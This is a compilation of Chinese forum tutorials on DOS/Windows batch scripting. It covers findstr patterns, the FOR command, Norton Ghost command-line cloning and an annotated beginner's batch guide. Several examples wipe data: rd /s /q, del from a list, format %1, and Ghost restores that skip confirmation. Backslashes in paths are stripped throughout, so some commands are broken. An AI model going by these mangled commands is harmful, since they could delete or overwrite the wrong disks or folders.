如果在搜索条件里没有*号,也就是说不重复左侧的搜索条件,也就是[0-9] [a-z]那只能匹配字符串的第一个字符也只有这一个字符,因为有行首和行尾的限制,"^[0-9]$"第一个字符如果是数字就匹配,如果不是就过滤掉,如果字符串是 9 就匹配,如果是98或者9j之类的就不可以了。

=====================



13. "<…>"这个表达式的作用

这个表示精确查找一个字符串,<sss 表示字的开始位置,sss>表示字的结束位置

echo hello world computer|findstr "<computer>"这样的形式

echo hello worldcomputer|findstr "<computer>" 这样的形式就不成了,他要找的是 "computer"这个字符串,所以不可以。

echo hello worldcomputer|findstr ".*computer>"这样就可以匹配了

=====================



  1、关于冒号:当某行内容以 : 打头时,用 for /f "tokens=1* delims=:" %%i in ('findstr /n .* test.txt') do echo.%%j 会把 : 过滤掉;


  2、关于分号:findstr .* test.txt 可以把以分号打头的行完整显示出来,但是,用在for语句中就不能找到了,必须加上参数/n才可以,似乎是for语句会把以分号打头的行当作注释内容忽略掉,好象不是findstr的错;而不放在for语句中的 type、more和findstr都是可以的;


  解决问题1和问题2的方案有:


稍微复杂一点的:


@echo off

:: 不会忽略空行

for /f "delims=" %%i in ('findstr /n .* test.txt') do (

    set "str=%%i"

    call set "str=%%str:*:=%%"

    call echo "%%str%%"

)

pause


最简洁的:


@echo off

:: 此代码会忽略空行

for /f "delims= eol=" %%i in (test.txt) do echo %%i

pause



  3、在for扩展中,%%~si 表示扩充的路径只含短文件名,但是在以下的测试过程中,却发现真正的情况并非如此:


  测试环境:

--------------------------------------------------------------------------------

D:abcdefg hijkabcd efgh.txt

D:abcdefg hijk e st.txt


  测试代码:

--------------------------------------------------------------------------------

@echo off

for /f "delims=" %%i in ('dir /a /b *.txt') do echo %%~si

pause


  测试结果:

--------------------------------------------------------------------------------

D:ABCDEF~1ABCDEF~1.TXT

D:ABCDEF~1TEST~1.TXTtxt


  看到测试结果的最后一条记录了吗?居然扩展到了 TEST~1.TXTtxt !


  总结了一下出错的情形,似乎是这样的:当路径中有超过一个的地方因为目录名超过11个字符而扩充到短文件名的时候,文件名+后缀名 少于11个字符且带空格的文件就会发生扩展错误。


                                                           —— namejm


出处:http://www.cn-dos.net/forum/viewthread.php?tid=19331


『楼 主』:  最强之dos命令 – for (是新手学习FOR语句的好资料)


  这篇文章是网上找的,很多初学DOS的朋友对FOR语句掌握的好不是太过熟悉,希望这边文章能够给你开阔思路帮助你把FOR语句学好,主要的参数介绍和实例讲的都很清楚,也希望对DOS越来越感兴趣--->发挥你的想像力吧


               正文开始


以前常觉得DOS的命令行功能太弱,无法象UNIX一样可以用命令行完成非常复杂的操作。实际上,当MS从WIN2K开始将命令行增强后,已经借鉴了相当多UNIX的优点,虽然还无法做到象UNIX那么灵活,但已可完成绝大多数的任务,比如用&&和  连接两个(或更多)命令,由前一个的返回值来决定下一个是否执行,等等。而在这些增强中,最明显的,就是FOR命令。 

举个例子,用适当的参数,可用FOR命令将 date /t 的输出 从 "Sat 07/13/2002" 变成你想要的格式,比如, "2002-07-13": 


c:>for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b 

2002-07-13 


该例将在(3)中详细说明。 

0. 基本应用 

简单说,FOR是个循环,可以用你指定的循环范围生成一系列命令。最简单的例子,就是人工指定循环范围,然后对每个值执行指定的命令。例如,想快速报告每个硬盘分区的剩余空间: 


for %a in (c: d: e: f do @dir %a   find "bytes free" 


将输出: 


8 Dir(s) 1,361,334,272 bytes free 

15 Dir(s) 8,505,581,568 bytes free 

12 Dir(s) 12,975,149,056 bytes free 

7 Dir(s) 11,658,854,400 bytes free 


用它可以使一些不支持通配符的命令对一系列文件进行操作。在WIN9X中,TYPE命令(显示文件内容)是不支持*.txt这种格式的(WIN2K开始TYPE已支持通配)。遇到类似情况就可以用FOR: 


for %a in (*.txt) do type %a 


这些还不是FOR最强大的功能。我认为它最强大的功能,表现在以下这些高级应用: 


1. 可以用 /r 参数遍历整个目录树 

2. 可以用 /f 参数将文本文件内容作为循环范围 

3. 可以用 /f 参数将某一命令执行结果作为循环范围 

4. 可以用 %~ 操作符将文件名分离成文件名、扩展名、盘符等独立部分 


现分别举例说明如下: 

1. 用 /r 遍历目录树 

当用 *.* 或 *.txt 等文件名通配符作为 for /r 的循环范围时,可以对当前目录下所有文件(包括子目录里面的文件)进行操作。举个例子,你想在当前目录的所有txt文件(包括子目录)内容中查找"bluebear"字样,但由于find本身不能遍历子目录,所以我们用for: 


for /r . %a in (*.txt) do @find "bluebear" %a 


find 前面的 @ 只是让输出结果不包括 find 命令本身。这是DOS很早就有的功能。和FOR无关。 

当用 . 作为循环范围时,for 只将子目录的结构(目录名)作为循环范围,而不包括里面的文件。有点象 TREE 命令,不过侧重点不同。TREE 的重点是用很漂亮易读的格式输出,而FOR的输出适合一些自动任务,例如,我们都知道用CVS管理的项目中,每个子目录下都会有一个CVS目录,有时在软件发行时我们想把这些CVS目录全部去掉: 


for /r . %a in (.) do @if exist %aCVS rd /s /q %aCVS 


先用 if exist 判断一下,是因为 for 只是机械的对每个目录进行列举,如果有些目录下面没有CVS也会被执行到。用 if exist 判断一下比较安全。 

这种删除命令威力太大,请小心使用。最好是在真正执行以上的删除命令前,将 rd /s /q 换成 @echo 先列出要删出的目录,确认无误后再换回rd /s /q: 


for /r . %a in (.) do @if exist %aCVS @echo %aCVS 


可能目录中会多出一层 ".",比如 c:proj elease.CVS ,但不会影响命令的执行效果。 

2. 将某一文件内容或命令执行结果作为循环范围: 

假如你有一个文件 todel.txt,里面是所有要删除的文件列表,现在你想将里面列出的每个文件都删掉。假设这个文件是每个文件名占一行,象这样: 


c: empa1.txt 

c: empa2.txt 

c: empsubdir3.txt 

c: empsubdir4.txt 


那么可以用FOR来完成: 


for /f %a in (todel.txt) do del %a 


这个命令还可以更强大。比如你的 todel.txt 并不是象上面例子那么干净,而是由DIR直接生成,有一些没用的信息,比如这样: 


Volume in drive D is DATA 

Volume Serial Number is C47C-9908 

Directory of D: mp 

09/26/2001 12:50 PM 18,426 alg0925.txt 

12/02/2001 04:29 AM 795 bsample.txt 

04/11/2002 04:18 AM 2,043 invitation.txt 

4 File(s) 25,651 bytes 

0 Dir(s) 4,060,700,672 bytes free 


for 仍然可以解出其中的文件名并进行操作: 


for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a DEL %a 


当然,上面这个命令是在进行删除,如果你只是想看看哪些文件将被操作,把DEL换成echo: 


for /f "skip=5 tokens=5" %a in (todel.txt) do @if exist %a echo %a 


你将看到: 


alg0925.txt 

bsample.txt 

invitation.txt 


skip=5表示跳过前5行(就是DIR输出的头部信息),tokens=5表示将每行的第5列作为循环值放入%a,正好是文件名。在这里我加了一个文件存在判断,是因为最后一行的"free"刚好也是第5列,目前还想不出好的办法来滤掉最后两行,所以检查一下可保万无一失。 

3. 可以用 /f 参数将某一命令执行结果作为循环范围 

非常有用的功能。比如,我们想知道目前的环境变量有哪些名字(我们只要名字,不要值)。可是SET命令的输出是“名字=值”的格式,现在可以用FOR来只取得名字部分: 


FOR /F "delims==" %i IN ('set') DO @echo %i 


将看到: 


ALLUSERSPROFILE 

APPDATA 

CLASSPATH 

CommonProgramFiles 

COMPUTERNAME 

ComSpec 

dircmd 

HOMEDRIVE 

...... 


这里是将set命令执行的结果拿来作为循环范围。delims==表示用=作为分隔符,由于FOR /F默认是用每行第一个TOKEN,所以可以分离出变量名。如果是想仅列出值: 


FOR /F "delims== tokens=2" %i IN ('set') DO @echo %i 


tokens=2和前例相同,表示将第二列(由=作为分隔符)作为循环值。 

再来个更有用的例子: 

我们知道 date /t (/t表示不要询问用户输入)的输出是象这样的: 


Sat 07/13/2002 


现在我想分离出日期部分,也就是13: 


for /f "tokens=3 delims=/ " %a in ('date /t') do @echo %a 


实际上把 tokens后面换成1,2,3或4,你将分别得到Sat, 07, 13和2002。注意delims=/后面还有个空格,表示/和空格都是分隔符。由于这个空格delims必须是/f选项的最后一项。 

再灵活一点,象本文开头提到的,将日期用2002-07-13的格式输出: 


for /f "tokens=2,3,4 delims=/ " %a in ('date /t') do @echo %c-%a-%b 


当tokens后跟多个值时,将分别映射到%a, %b, %c等。实际上跟你指定的变量有关,如果你指定的是 %i, 它们就会用%i, %j, %k等。 

灵活应用这一点,几乎没有做不了的事。 

4. 可以用 %~ 操作符将文件名分离成文件名、扩展名、盘符等独立部分 

这个比较简单,就是说将循环变量的值自动分离成只要文件名,只要扩展名,或只要盘符等等。 

例:要将 c:mp3下所有mp3的歌名列出,如果用一般的 dir /b/s 或 for /r ,将会是这样: 


g:mp3Archived5-18-01-A游鸿明-下沙游鸿明-01 下沙.mp3 

g:mp3Archived5-18-01-A游鸿明-下沙游鸿明-02 21个人.mp3 

...... 

g:mp3Archived5-18-01-A王菲-寓言王菲-阿修罗.mp3 

g:mp3Archived5-18-01-A王菲-寓言王菲-彼岸花.mp3 

g:mp3Archived5-18-01-A王菲-寓言王菲-不爱我的我不爱.mp3 

...... 


如果我只要歌名(不要路径和".mp3"): 


游鸿明-01 下沙 

游鸿明-02 21个人 

...... 

王菲-阿修罗 

王菲-彼岸花 

王菲-不爱我的我不爱 

...... 


那么可以用FOR命令: 


for /r g:mp3 %a in (*.mp3) do @echo %~na 


凡是 %~ 开头的操作符,都是文件名的分离操作。具体请看 for /? 帮助。 

本文举的例子有些可能没有实际用处,或可用其它办法完成。仅用于体现FOR可以不借助其它工具,仅用DOS命令组合,就可完成相当灵活的任务



其实for /l %i in (1,1,99) do @echo %i 括号中间的分隔号有多种

形式如下:

for /l %i in (1,1,99) do @echo %i

for /l %i in (1 1 99) do @echo %i

for /l %i in (1;1;99) do @echo %i

for /l %i in (1=1=99) do @echo %i

for /l %i in (1<tab>1<tab>99) do @echo %i  <tab>----tab键


9527 于 2006-12-22 发表于中国DOS联盟


Norton Ghost批处理命令用法详细介绍 

 

作者:未知 文章来源:Internet

 

 


 .Ghost批处理文件的基本格式 

  Ghost-clone,mode={copy│load│dump},src={drive│file│drive:partition},dst={dri-ve│file│drive:partition}/fro/fx/rb/f32/Z(n)/sure{其他参数} 


  其主要参数的意思及用法如下: 


  -clone:clone在英文中是“克隆”的意思,在此处是一个固定的格式,意为强制按参数方式执行Ghost.exe。 


  mode=:此项参数用于设定Ghost.exe的使用模式,有六种模式可供选择:copy、pcopy、load、pload、dump、pdump。其中,copy、load、dump是指硬盘到硬盘的操作,加p以后(pcopy、pload、pdump)则以相同模式针对硬盘的分区进行操作。如“mode=copy”意思是将一个硬盘的数据克隆到另一个相同容量或更大容量的硬盘上,加P(mode=pcopy)以后的意思是将一个分区的数据克隆到另一个分区。“mode=load”的意思是提取镜像文件恢复至硬盘(或分区),“mode=dump”的意思是将硬盘(或分区)做成镜像文件。 


  src=:此项参数用于设定数据来源位置,用1、2、3……代表不同的来源,如“src=1:1”表示数据来源于主盘第一分区,“src=2:2”表示数据来源于从盘第二分区,“src=d:\ghost\sysbak.gh1”表示要提取的数据来源于主盘第二分区Ghost目录中的sysgbak.gho文件。 


  dst=:此项参数设定数据的目标位置,用法和src一样。如“dst=1:1”表示将提取数据还原到主盘第一分区,“dst=2:2”表示还原到从盘第二分区,“dst=d:\ghost\sysbak.gh1”则表示将备份的数据保存为主盘第二分区ghost目录中的sysgbak.gho文件。 


  /fro:该参数意为在克隆过程中跳过一切错误,建议大家避免使用。 


  /fx:程序执行完毕后自动退出,回到操作系统。这条参数在制作镜像文件和恢复非系统分区时可以使用,但用在恢复系统分区时使用可能会引起死机(恢复系统分区时请参考/rb)。 


  /rb:程序执行完毕后强制重新启动系统。 


  /f32:将FAT16格式转换为FAT32格式。 


  /Z(n):设定镜像文件的压缩率,只在制作镜像文件时使用。其中,n=1(/z1)表示在制作镜像文件时不压缩,n=2(/z2)为快速压缩,n=3~9时采用高比例压缩。在实际使用中,笔者推荐使用/z2(快速压缩),它的速度和/z1(不压缩)基本没有差别,镜像文件却小了许多。但如果你的硬盘容量不十分大,建议使用/z9。 


  /sure:对所有提示问题均自动回答“是”。在Ghost.exe图形界面操作中,程序会弹出一些对话框询问是否肯定执行该操作,通常有“Yes”和“Cancel”两个选项,/sure意为自动选择“Yes”,以确保克隆过程中不需手工干涉。 


  针对我的情况,我在D盘建立一个名为Ghost的目录,备份C区的镜像文件取名为sysbak.gho。两个批处理文件内容如下: 


  sysback.bat(备份):


  Ghost-clone,mode=pdump,src=1:1,dst=d:\ghost\sysbak.gh1 /fx/z9/sure 


  revert.bat(恢复):


  Ghost-clone,mode=pload,src=d:\ghost\sysbak.gh1,dst=1:1 /sure /rb  


 .GHOST参数详细示例(上面的你可以不看 但这里的一定要看,更要好好记录下来) 


  ghost.exe -clone,mode=copy,src=1,dst=2 -sure 

  硬盘对拷


  ghost.exe -clone,mode=pcopy,src=1:2,dst=2:1 -sure 

  将一号硬盘的第二个分区复制到二号硬盘的第一个分区 


  ghost.exe -clone,mode=pdump,src=1:2,dst=g:\bac.gho 

  将一号硬盘的第二个分区做成映像文件放到g分区中 


  ghost.exe -clone,mode=pload,src=g:\bac.gh2,dst=1:2 

  从内部存有两个分区的映像文件中,把第二个分区还原到硬盘的第二个分区 


   ghost.exe -clone,mode=pload,src=g:\bac.gho,dst=1:1 -fx -sure -rb 

  用g盘的bac.gho文件还原c盘。完成后不显示任何信息,直接启动。 


  ghost.exe -clone,mode=load,src=g:\bac.gho,dst=2,SZE1=60P,SZE2=40P 

  将映像文件还原到第二个硬盘,并将分区大小比例修改成60:40 


   还原磁盘


  首先做一个启动盘,包含Config.sys,Autoexec.bat,Command.com,Io.sys,Ghost.exe文件(可以用windows做启动盘的程序完成)。

  Autoexec.bat可以包含以下命令:

  Ghost.exe-clone,mode=pload,src=d:\bac.gho,dst=1:1-fx-sure-rb

  利用在d盘的文件自动还原,结束以后自动跳出ghost并且重新启动。

  开机自动做C区的备份,在D区生成备份文件bac.gho。

  ghost.exe-clone,mode=pdump,src=1:1,dst=d:\bac.gho-fx-sure-rb


  还原光盘


  包含文件:Config.sys,Autoexec.bat,Mscdex.exe(CDROM执行程序),Oakcdrom.sys(ATAPICDROM兼容驱动程序),Ghost.exe

  Config.sys内容为:

  DEVICE=OAKCDROM.SYS/D:IDECD001

  Autoexec.bat内容为:

  MSCDEX.EXE/D:IDECE001/L:Z

  Ghost-clone,mode=load,src=z:\bac.gho,dst=1:1-sure-rb


  可以根据下面的具体说明修改实例


  -clone在使用时必须加入参数,它同时也是所有的switch{batchswitch}里最实用的一种,下面是clone所定义的参数

  -clone,

  mode={copy│load│dump│pcopy│pload│pdump},

  src={drive│file│drive:partition},

  dst={drive│file│drive:partition}

  mode指定要使用哪种clone所提供的命令

  copy硬盘到硬盘的复制(disktodiskcopy)

  load文件还原到硬盘(filetodiskload)

  dump将硬盘做成映像文件(disktofiledump)

  pcopy分区到分区的复制(partitiontopartitioncopy)

  pload文件还原到分区(filetopartitionload)

  pdump分区备份成映像文件(partitiontofiledump)


  src指定了ghost运行时使用的源分区的位置模式及其意义


  ode命令对应mode命令src所使用参数例子

  COPY/DUMP

  源硬盘号。

  以1代表第一号硬盘 


  LOAD映像文件名

  g:\back98\setup98.gho或装置名称(drive) 


  PCOPY/PDUMP

  源分区号。

  1:2代表的是硬盘1的第二个分区 


  PLOAD分区映像文件名加上分区号或是驱动器名加上分区号。

  g:\back98\setup98.gh2,代表映像文件里的第二个分区 


  dst运行Ghost时使用的目标位置模式及其意义:

  mode命令对应mode命令dst所使用参数例子

  COPY/DUMP目的硬盘号。

  2代表第二号硬盘 


  LOAD硬盘映像文件名。

  例g:\back98\setup98.gho 


  PCOPY/PLOAD目的分区号。

  2:2代表的是,硬盘2的第二个分区 


  PDUMP分区映像文件名加分区号。

  g:\back98\setup98.gh2 


  SZEn指定所使用目的分区的大小

  n=xxxxM指定第n目的分区的大小为xxxxMBSZE2=800M表示分区2的大小为800MB

  n=mmP指定地n的目的分区的大小为整个硬盘的mm个百分比。

  其他参数

  -fxo当源物件出现坏块时,强迫复制继续进行

  -fx当ghost完成新系统的工作后不显示"pressctrl-alt-deltoreboot"直接回到DOS下 


  -ia完全执行扇区到扇区的复制。当由一个映像文件或由另一个硬盘为来源,复制一个分区时,Ghost将首先检查来源分区,再决定是要复制文件和目录结构还是要做映像复制(扇区到扇区)。预设是这种形式。但是有的时候,硬盘里特定的位置可能会放一些隐藏的与系统安全有关的文件。只有用扇区到扇区复制的方法才能正确复制

  -pwdand-pwd=x给映像文件加密 


  -rb在还原或复制完成以后,让系统重新启动 


  -sure可以和clone合用。Ghost不会显示"proceedwithdiskclone-destinationdrivewillbeoverwritten?"提示信息 


  充分的了解了以上的参数从今天起我们就不用在和GHOST的界面打交道了。

 

 

 

 

 

 


例如pushd c:就是记录下c:盘当你转去E:盘后用popd就可以转回c盘

手把手教你写批处理(willsort题注版)




    Climbing 兄可谓用心良苦,受其感昭,略紧微薄之力;原文内容一字未易,仅于每段之下另加题注,其文大多非为纠错,多是年来体会,或偶得,或渐悟,未免偏颇;又加近来俗事渐多,闲情愈少,心浮气燥,一蹴而就。义理悖逆,敬请斧正;措辞不当,尚请莫怪。

    另,建议Climbing兄取文不用拘泥于国内,此类技术文章,内外水平相差极大;与其修正国内只言片语,不如翻译国外优秀著述。




--------------------------------------------------------

标题:手把手教你写批处理-批处理的介绍

作者:佚名

编者:Climbing

出处:中国DOS联盟之联合DOS论坛

题注:willsort

日期:2004-09-21

--------------------------------------------------------

批处理的介绍



扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文件。


==== willsort 编注 =====================================================

.bat是dos下的批处理文件

.cmd是nt内核命令行环境的另一种批处理文件

从更广义的角度来看,unix的shell脚本以及其它操作系统甚至应用程序中由外壳进行解释执行的文本,都具有与批处理文件十分相似的作用,而且同样是由专用解释器以行为单位解释执行,这种文本形式更通用的称谓是脚本语言。所以从某个程度分析,batch, unix shell, awk, basic, perl 等脚本语言都是一样的,只不过应用的范围和解释的平台各有不同而已。甚至有些应用程序仍然沿用批处理这一称呼,而其内容和扩展名与dos的批处理却又完全不同。

========================================================================


首先批处理文件是一个文本文件,这个文件的每一行都是一条DOS命令(大部分时候就好象我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。


====  willsort 题注 ====================================

批处理文件中完全可以使用非dos命令,甚至可以使用不具有可执行特性的普通数据性文件,这缘于windows系统这个新型解释平台的涉入,使得批处理的应用越来越“边缘化”。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动。

========================================================================


其次,批处理文件是一种简单的程序,可以通过条件语句(if)和流程控制语句(goto)来控制命令运行的流程,在批处理中也可以使用循环语句(for)来循环执行一条命令。当然,批处理文件的编程能力与C语言等编程语句比起来是十分有限的,也是十分不规范的。批处理的程序语句就是一条条的DOS命令(包括内部命令和外部命令),而批处理的能力主要取决于你所使用的命令。


==== willsort 编注 =====================================================

批处理文件(batch file)也可以称之为批处理程序(batch program),这一点与编译型语言有所不同,就c语言来说,扩展名为c或者cpp的文件可以称之为c语言文件或者c语言源代码,但只有编译连接后的exe文件才可以称之为c语言程序。因为批处理文件本身既具有文本的可读性,又具有程序的可执行性,这些称谓的界限是比较模糊的。

========================================================================


第三,每个编写好的批处理文件都相当于一个DOS的外部命令,你可以把它所在的目录放到你的DOS搜索路径(path)中来使得它可以在任意位置运行。一个良好的习惯是在硬盘上建立一个bat或者batch目录(例如C:BATCH),然后将所有你编写的批处理文件放到该目录中,这样只要在path中设置上c:atch,你就可以在任意位置运行所有你编写的批处理程序。


==== willsort 编注 =====================================================

纯以dos系统而言,可执行程序大约可以细分为五类,依照执行优先级由高到低排列分别是:DOSKEY宏命令(预先驻留内存),COMMAND.COM中的内部命令(根据内存的环境随时进驻内存),以com为扩展名的可执行程序(由command.com 直接载入内存),以exe位扩展名的可执行程序(由command.com 重定位后载入内存),以bat位扩展名的批处理程序(由command.com 解释分析,根据其内容按优先级顺序调用第2,3,4,5种可执行程序,分析一行,执行一行,文件本身不载入内存)

========================================================================


第四,在DOS和Win9x/Me系统下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动运行批处理文件,每次系统启动时会自动运行该文件,你可以将系统每次启动时都要运行的命令放入该文件中,例如设置搜索路径,调入鼠标驱动和磁盘缓存,设置系统环境变量等。下面是一个运行于Windows 98下的autoexec.bat的示例:

@ECHO OFF

PATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C:BATCH

LH SMARTDRV.EXE /X

LH DOSKEY.COM /INSERT

LH CTMOUSE.EXE

SET TEMP=D:TEMP

SET TMP=D:TEMP


==== willsort 编注 =====================================================

AUTOEXEC.BAT为DOS系统的自动运行批处理文件,由COMMAND.COM启动时解释执行;

而在Win9x环境中,不仅增加支持了 DOSSTART.BAT, WINSTART.BAT 等许多其它自动运行的批处理文件,对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS 等许多变体以适应复杂的环境和多变的需求。

========================================================================


--------------------------------------------------------

标题:手把手教你写批处理-常用命令与特殊命令

作者:佚名

编者:Climbing

出处:中国DOS联盟之联合DOS论坛

题注:willsort

日期:2004年11月10日

--------------------------------------------------------


 [转帖并完善]手把手教你写批处理

原文作者写东西很没有专业精神,写的文章简直是错误百出,而且啰里八索,如果不加以修改和完善,简直是误人子弟,因此,我在原文的基础上进行了修改,修正了大部分错误(当然,不可避免可能会有新的错误,希望高手发现后能够及时指出来)。


URL: http://www.txwm.com/News/technic/200408/2004081609515074304.html


摘自:天下网吧联盟 作者:佚名

修改及完善:Climbing(xclimbing@msn.com)

最后修改日期:2004年8月19日



==== willsort 编注 =====================================================

    以下关于命令的分类, 有很多值得推敲的地方. 常用命令中的 @本不是命令,  , 而 dir copy等也很常用的命令却没有列入, 而特殊命令中所有命令对我来说都是常用命令. 建议将批处理所引用的命令分为内部命令, 外部命令, 第三方程序三类. 而内部命令和外部命令中中别有一类是专用于或常用于批处理中的命令可称之为 "批处理命令".

 

    以下摘录MS-DOS 6.22 帮助文档中关于 "批处理命令" 的文字, 当然, 其中有些概念和定义已经有些落后了.


                               批处理命令

 

    批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件,扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时,MS-DOS成组执行此批处理程序中的命令。

 

    任何在命令提示符下可使用的命令都可用在批处理程序中。此外,下面MS-DOS命令是专门在批处理程序中使用的。

 

<Call>                    <If>

<Choice>                  <Pause>

<Echo>                    <Rem>

<For>                     <Shift>

<Goto>

========================================================================


常用命令


echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令,我们就从他们开始学起。 


==== willsort 编注 =====================================================

    首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符:

    CR(0D) 命令行结束符

    Escape(1B) ANSI转义字符引导符

    Space(20) 常用的参数界定符

    Tab(09) ; = 不常用的参数界定符

    +           COPY命令文件连接符

    * ? 文件通配符

    "" 字符串界定符

    | 命令管道符

    < > >> 文件重定向符

    @ 命令行回显屏蔽符

    / 参数开关引导符

    : 批处理标签引导符

    % 批处理变量引导符


    其次,  :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意: 

    第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号.

    第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中. 

========================================================================


echo 表示显示此命令后的字符 

echo off 表示在此语句后所有运行的命令都不显示命令行本身 

@与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。 

call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。 

pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续 

rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。 


==== willsort 编注 =====================================================

    此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理


----------------------------------------------------------------------------

                                    ECHO


    当程序运行时,显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。

 

    在运行批处理程序时,MS-DOS一般在屏幕上显示(回显)批处理程序中的命令。

使用ECHO命令可关闭此功能。

 

语法

 

    ECHO [ON|OFF]

 

    若要用echo命令显示一条命令,可用下述语法:

 

    echo [message]

 

参数

 

ON|OFF

    指定是否允许命令的回显。若要显示当前的ECHO的设置,可使用不带参数的ECHO

命令。

 

message

    指定让MS-DOS在屏幕上显示的正文。


----------------------------------------------------------------------------

 

                                    CALL

 

    从一个批处理程序中调用另一个批处理程序,而不会引起第一个批处理的中止。

 

语法

 

    CALL [drive:][path]filename [batch-parameters]

 

参数

 

[drive:][path]filename

    指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。

 

 

batch-parameters

    指定批处理程序所需的命令行信息。


----------------------------------------------------------------------------

 

                                   PAUSE

 

    暂停批处理程序的执行并显示一条消息,提示用户按任意键继续执行。只能在批处

理程序中使用该命令。

 

语法

 

    PAUSE

----------------------------------------------------------------------------

 

                                    REM

 

    在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令(在CONFIG.SYS

中也可以用分号(;)代替REM命令,但在批处理文件中则不能替代)。

 

语法

 

    REM [string]

 

参数

 

string

    指定要屏蔽的命令或要包含的注解。

========================================================================


例1:用edit编辑a.bat文件,输入下列内容后存盘为c:a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。 


  批处理文件的内容为:         命令注释: 


    @echo off           不显示后续命令行及当前命令行

    dir c:*.* >a.txt       将c盘文件列表写入a.txt 

    call c:ucdosucdos.bat    调用ucdos 

    echo 你好            显示"你好" 

    pause              暂停,等待按键继续 

    rem 准备运行wps         注释:准备运行wps 

    cd ucdos            进入ucdos目录 

    wps               运行wps   


批处理文件的参数


批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。 


%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。 


例2:C:根目录下有一批处理文件名为f.bat,内容为:

@echo off

format %1


如果执行C:>f a:

那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a:


例3:C:根目录下一批处理文件名为t.bat,内容为:

@echo off

type %1 

type %2 


那么运行C:>t a.txt b.txt 

%1 : 表示a.txt

%2 : 表示b.txt

于是上面的命令将顺序地显示a.txt和b.txt文件的内容。


==== willsort 编注 =====================================================

    参数在批处理中也作为变量处理, 所以同样使用百分号作为引导符, 其后跟0-9中的一个数字构成参数引用符. 引用符和参数之间 (例如上文中的 %1 与 a: ) 的关系类似于变量指针与变量值的关系. 当我们要引用第十一个或更多个参数时, 就必须移动DOS 的参数起始指针. shift 命令正充当了这个移动指针的角色, 它将参数的起始指针移动到下一个参数, 类似C 语言中的指针操作. 图示如下:


初始状态, cmd 为命令名, 可以用 %0 引用

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

 ^    ^    ^    ^    ^    ^    ^    ^    ^    ^    

 |    |    |    |    |    |    |    |    |    |

 %0   %1   %2   %3   %4   %5   %6   %7   %8   %9


经过1次shift后, cmd 将无法被引用 

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10 

     ^    ^    ^    ^    ^    ^    ^    ^    ^    ^    

     |    |    |    |    |    |    |    |    |    |

     %0   %1   %2   %3   %4   %5   %6   %7   %8   %9


经过2次shift后, arg1也被废弃, %9指向为空, 没有引用意义

cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10

          ^    ^    ^    ^    ^    ^    ^    ^    ^

          |    |    |    |    |    |    |    |    |

         %0   %1   %2   %3   %4   %5   %6   %7   %8


    遗憾的是, win9x 和DOS下均不支持 shift 的逆操作. 只有在 nt 内核命令行环境下, shift 才支持 /n 参数, 可以以第一参数为基准返复移动起始指针.

========================================================================



特殊命令



if goto choice for是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。 




一、if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 


1、if [not] "参数" == "字符串" 待执行的命令 


参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。


例:if "%1"=="a" format a:


==== willsort 编注 =====================================================

    if 的命令行帮助中关于此点的描述为:

      IF [NOT] string1==string2 command

    在此有以下几点需要注意:

      1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符

      2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量

      3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行

========================================================================


2、if [not] exist [路径]文件名 待执行的命令 

如果有指定的文件,则条件成立,运行命令,否则运行下一句。


如: if exist c:config.sys type c:config.sys 

表示如果存在c:config.sys文件,则显示它的内容。


****** willsort 编注 ********

    也可以使用以下的用法:

      if exist <device> command

    device 是指DOS系统中已加载的设备, 在win98下通常有: 

      AUX, PRN, CON, NUL

      COM1, COM2, COM3, COM4

      LPT1, LPT2, LPT3, LPT4

      XMSXXXX0, EMMXXXX0

